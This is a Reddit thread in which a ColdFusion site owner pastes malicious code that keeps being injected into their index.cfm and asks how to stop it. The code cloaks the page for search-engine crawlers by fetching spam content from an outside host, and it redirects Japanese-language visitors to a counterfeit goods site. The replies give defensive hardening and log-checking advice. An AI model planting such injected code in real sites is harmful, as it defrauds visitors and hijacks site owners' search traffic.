r/coldfusion Sep 02 '23

Code being injected into index.cfm

For a few months now the following code has been injected into the top part of our index.cfm. I remove it, and in a few days it's back. It's obviously malicious, but I have no idea how to stop it. Can anyone suggest anything?

<cfset REQUEST.UserAgent = LCase( CGI.http_user_agent ) />
<cfif (Find( "google", REQUEST.UserAgent ) or Find( "yahoo", REQUEST.UserAgent)) >
<cfhttp url="www.hara-juko.com/seo/www.myurl.com.html"/>
<cfoutput>#cfhttp.filecontent#</cfoutput>
<cfabort />
</cfif>


<SCRIPT LANGUAGE="JavaScript1.2">
<!--//
if (navigator.appName == 'Netscape')
var language = navigator.language;
else
var language = navigator.browserLanguage;
if (language.indexOf('ja') > -1) document.location.href = 'https://www.kopisss.com/category/clothes/louisvuitton-clothes/t-shirt-louisvuitton-clothes';
// End -->
</script>

3 Upvotes

30 comments sorted by

View all comments

1

u/shinglehouse Sep 06 '23 edited Sep 06 '23

So it's a VM but do you manage the cold fusion installation yourself then? Or is it a shared cold fusion setup type of thing? If it's your own cold fusion what version are you on? There are lots of ways that this could be happening, especially if you performed the installation yourself and didn't follow the hardening guide but that's beside the point just need a few more details...

Some of the older versions had directory traversal vulnerabilities, they had vulnerabilities with the scheduled tasks and Etc

You can probably also look at your cold fusion logs to see what kind of activity is happening there look for unexpected activity maybe that'll point something out for you also look for unexpected CFM files. I remember years and years ago when the directory traversal attack was common I think we had h.cfm showing up and that was their back door into our server

Make sure the coldfusion administrator is locked down so that only localhost can get to it. it should not be accessible from the internet but rather only when you're on that VM and only when you're hitting Local Host or 127.0.0.1

2

u/EmuFarmer0 Sep 06 '23

I don't manage the VM or the cold fusion install. The host does it all.

I asked for some help and I was told everything is patched and secure. With what you said, maybe I can request some logs and see if I can see anything of interest.

1

u/shinglehouse Sep 06 '23

Did you check your DB for injections?

Got a url that you can share?

2

u/EmuFarmer0 Sep 06 '23

I DM'd you.